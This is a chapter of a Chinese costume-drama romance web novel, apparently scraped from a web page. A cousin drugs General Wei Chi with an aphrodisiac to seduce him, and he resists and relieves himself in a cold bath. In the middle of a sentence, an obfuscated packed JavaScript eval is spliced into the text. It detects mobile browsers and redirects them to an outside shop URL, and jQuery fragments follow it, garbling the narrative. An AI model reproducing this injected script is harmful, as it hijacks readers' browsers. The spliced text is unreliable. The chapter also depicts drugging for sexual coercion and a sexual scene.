36. 冲动

作品:《佛系美人只爱吃瓜

    贺瑶把两句话连起来又说了一遍,姚知雪终于明白了她的意思。


    她深感无奈,“天仙在这个点起床也困啊,而且我也不是天仙。”


    贺瑶嘟囔,“这样说你也不是多完美……”


    姚知雪洞察她的心思,赞同地点点头,“人无完人,我自然也有不足之处,而且,击鞠那日你不是见过我的受伤的样子嘛,够狼狈吧。”


    贺瑶认真一想,“是哦,那、那咱们扯平了。”


    她也见过姚知雪狼狈不堪的模样了,而且还是在卫驰面前,她喜欢的人面前。


    一直以来心里那点不平衡此刻得到了前所未有的满足。


    姚知雪微微一笑,“没有扯平,我还欠你一个人情呢,你救了我,我很是感激你。”


    她说着示意春桃,后者立即将锦盒递上,姚知雪递给她,“一点谢意,希望你不要嫌弃。”


    贺瑶撇撇嘴,“其实我、我也不是真心要救你的,恰好撞见了而已,换成谁我都会这样做,你不用感谢我的。”


    几次交锋后,姚知雪已经摸清了贺瑶的性子,嘴硬心软,认真道:“无论你是否真心救我,但我是真心感谢你,贺姑娘,你值得如此。”


    她将锦盒打开,是一支精致的七彩蝶舞步摇,日光照耀下光彩夺目,令人挪不开眼。


    贺瑶愣住:“这是给我的吗?”


    父兄不懂女子爱好,母亲不喜她打扮太过,所以她的穿着打扮总是简单利落,从未收到过如此好看的发饰。


    每次见姚知雪盛装出席各种宴会时,她心中常常羡慕。


    姚知雪递到她面前,很真诚道:“我觉得这支步摇很适合你。”


    贺瑶接过来,看了又看,“谢谢,我很喜欢。”


    “贺姑娘,你怎么这么早来上香祈福?”


    “兄长说我太蠢了,让我每天早上来这里听主持讲经,看能不能早点开窍。”贺瑶说着又打了个哈欠,困得眼泪汪汪。


    姚知雪看着她眼下的乌青,顿时面露同情,“这样真的有用么?”


    “有用的。”贺瑶点点头,一脸虔诚,“这段时间我想明白了很多,其实情爱都是过眼云烟,转瞬即逝,世俗多烦扰,唯有看破红尘……”


    姚知雪看着她一副淡然如云的模样,不免有些担心,会不会有点矫枉过正了。


    半个月前还是为情所困,现在就成过眼云烟了?


    她试探道:“你以后每天都来吗?这样下去会不会……”


    “当然要来。”贺瑶一脸期待,“兄长说了,听满一个月就给我买新衣裳,两身!”


    姚知雪:“……”


    放心了,看来还没有完全看破红尘。


    *


    是夜,卫府。


    明日便是随郁王去江南的日子,卫驰正陪祖母说话,叮嘱她要顾念好自己的身体,不可太过担忧。


    卫老夫人眼中满是担忧与不舍。


    程素月端着食盒进来,行了礼,“祖母,我熬了四神汤,最是温补脾胃,促进消化,您晚饭多吃了半碗,怕是胃里会不痛快。”


    卫老夫人闻言露出笑容,“还是素月贴心。”


    程素月正要上前,卫驰却伸出了手,“我来。”


    她连忙将碗递过去,看卫驰一勺一勺喂祖母喝下,又再盛了一碗,趁人不察,取了食盒最下方的汤勺放入,轻轻搅了搅。


    “将军,你也喝一碗吧,这汤也可解水土不服,将军若喝着喜欢,我便写好方子,到了江南若有不舒服,喝一碗便能缓解。”


    不等卫驰拒绝,卫老夫人先开了口,“驰儿,你尝尝,若到江南真的水土不服,也有法子应对。”


    于是卫驰只好点头,程素月暗暗松了一口气,心里隐隐激动起来。


    卫驰喝完一碗,对她道:“多谢,只是我不大喝得惯,不必费心了。”


    卫老夫人皱眉,拍了拍他的手臂,“你这嘴什么时候这么刁了……”


    “祖母,许是我做的不合将军口味,我下次再试试别的。”程素月攥紧了袖中的手,几乎难以抑制住心里的欣喜,努力稳住神色,关切道:“祖母,您该歇息了。”


    卫老夫人又拉着卫驰叮嘱了几句,而后让他也早些回去休息,别耽误了明早赶路。


    卫驰一一应下,而后回了书房,原本想再好好看看此行江南的路线图,却莫名觉得口渴,两杯茶水下肚,不但没有好转,身体反而隐隐燥热起来。


    “公子,程姑娘来了,说是老夫人有话方才忘记交代,吩咐她来转达。”纪石在门外说道。


    卫驰打开门,看着门口的程素月,问:“祖母还有什么话交代我?”


    那燥热的感觉再度袭来,令他浑身都不自在,不自觉将眉头皱紧。


    “将军,可否借一步说话。”程素月将他的反应尽收眼底,暗暗得意,见他没有松开,便上前一步,低声道:“祖母说,此事紧要……”


    “进来吧。”


    卫驰此刻只想赶紧听她说完,而后再沐浴一次,身上出了汗,实在有些不舒服。


    他走到书案又倒了一杯水喝,忽而听到房门栓上的声音,随很细微,但他还是捕捉到了。


    正要转身,腰间却猛然多了一双手,伴随着一道娇柔的声音。


    “表哥。”


    卫驰几乎下在那双手堪堪触及自己时就作出了反应,他猛地后退,反应过来,脸色阴沉得可以滴出水。


    “我说过,我不是你表哥。”


    说话间,他感觉浑身仿佛要烧起来,热流涌动,一股脑向下冲去,头脑也开始眩晕。


    他握紧拳头,用力摇了摇头,意识却更加模糊。


    程素月缓缓走近,声音里带着蛊惑,“表哥,我知道你想要什么……”


    她手一扯,腰带散落,外衣立刻松垮。


    卫驰脸色可怖,怒目而视,“滚!”


    可他的声音极其暗哑,站在不远处廊下等待的纪石都没能听见这动静。


    程素月今日是势在必得,这合欢药猛烈至极,她不信,他能忍得住。


    “表哥,你别怪我,我实在倾慕你,不得已才出此下策。”程素月眉眼低垂,一副楚楚可怜之态,手指却勾住了中衣的系带。


    卫驰的意识已经模糊,他看着眼前人,含笑的眉眼,温柔的神色,不自觉抬起了手。


    “姚姑娘……”


    程素月手一顿,眼底闪过几分嫉妒,然而看着他伸出来的手,还是笑着闭上眼睛,仰起脸迎上去。


    可预料中的抚摸没有发生,茶杯碎裂的声音令她心一惊,急忙睁开双眸。


    卫驰手握着已经碎裂的茶杯,茶水与血水混合着自他指缝间流出,他另一只手撑着书案,眼神已然清明不少。


    “你找死。”


    卫驰神色如寒冰,手一挥,碎瓷片朝着她飞去,程素月猛然瞪大了眼睛,脸色


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885227|188041||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    惨白,脖间顿时传来一阵剧痛。


    碎片从她颈间划过,顿时割出一道伤口,鲜血直流,她摸到一手血,腿一软跌坐在地上。


    “纪石!”


    卫驰用尽力气朝窗外喊,下一刻纪石破门而入,见此情形,大惊失色。


    “把她押下去,关起来。”


    他留下她的命,还要审一审,背后是否有人操控,她又是否还有暗招,譬如对祖母存有祸心。


    卫驰勉强吩咐完,意识又变得模糊不堪,额上不断滲出汗,浑身如岩浆沸腾,呼啸着奔向同一个地方。


    掌心的伤口只换来短暂清醒,取而代之是更炙热的感觉,叫嚣着需要靠近,需要触摸。


    需要得到疏解。


    他的脑海中闪过个模糊的身影,一瞬间,几乎难以自抑。


    纪石被自家公子这模样吓到了,他想上前,却又还惦记着公子的吩咐,情急之下他一掌劈晕了程素月,同时大声喊白风来帮忙。


    白风匆匆赶来,见此也是脸色大变,当看到卫驰鲜血淋漓的掌心,他第一反应是去喊郎中,可走了几步看到地上的成素月,陡然反应过来。


    他搀扶起浑身滚烫、隐忍到身体发颤的卫驰,问道:“公子,你大概是中了药,只有两个法子可解,第一个是泡冷水,第二……”


    “第二第二。”纪石急得上火,这春寒料峭的泡什么冷水,人都要冻坏了。


    白风深深看了他一眼,一字一句对卫驰道:“第二是,给你找个姑娘。”


    纪石猛地闭紧了嘴巴。


    “水……”卫驰哑着声音回答。


    很快水备好了,卫驰被搀扶着进了浴桶,浑身浸泡在水里那一刻,身体里的燥热得到微微缓解,意识也清醒不少。


    但很快又卷土重来。


    白风和纪石安静守在门外,一脸不安,随时准备冲进去水里捞人。


    卫驰紧闭眼睛,努力忽视某处异样的感觉,可是他越刻意,那存在感却越强。


    水似乎都变得滚烫起来。


    他终于忍不住,将手伸入水底。


    荡起的水纹此消彼长,卫驰神色痛苦又舒畅,汗珠随着下颌滑落,滴在翻滚的水里,没了踪影。


    在这起伏的波浪里,在混沌的意识里,他脑中浮现出一个人影,随之而来的,是许多画面。


    雨中轻轻晃动的裙摆。


    夜色下白如玉色的脖颈,修长而纤细。


    莹润细腻的手,带着微呜呜凉意,被他摁住时忍不住瑟缩。


    柔软的腰。


    ……


    到达顶点那一刻,他脑子里闪过一个极度阴暗的念头。


    占有她。


    占有她的全部。


    水纹忽而急剧波荡,飞溅在地上,水珠接连炸开,而后恢复平静,只轻轻荡漾。


    卫驰靠坐着,大口喘着气,胸口剧烈起伏,带着疏解后的快意与空荡。


    意识渐渐回笼,他捏了捏眉心,忽而想起自己脑中闪过的画面,身体顷刻僵硬无比。


    那些从前不曾在意的细枝末节,在这一场沸腾中显山露水。


    可是,他怎么能对她有这种龌龊想法?


    卫驰想起姚知雪赏花的模样,站在温和日光里,沉静而美好。


    那时的她眉眼带笑,怎么会知道,身后的人竟然对她有这样罪恶不堪的心思。


    卫驰抬起手,狠狠给了自己一个耳光。